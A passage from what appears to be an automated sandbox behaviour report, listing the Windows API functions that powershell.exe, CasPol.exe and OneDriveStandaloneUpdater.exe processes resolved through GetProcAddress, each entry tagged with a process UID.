called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RtlUnregisterFeatureConfigurationChangeNotification (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00000848) "CasPol.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter ShellExecuteEx (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter CancelIoEx (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter shutdown (UID: 00000000-00006536) "CasPol.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00006536) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RoActivateInstance (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WindowsGetStringRawBuffer (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WscRegisterForChanges (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WscUnRegisterChanges (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RtlConvertDeviceFamilyInfoToString (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WofIsExternalFile (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a 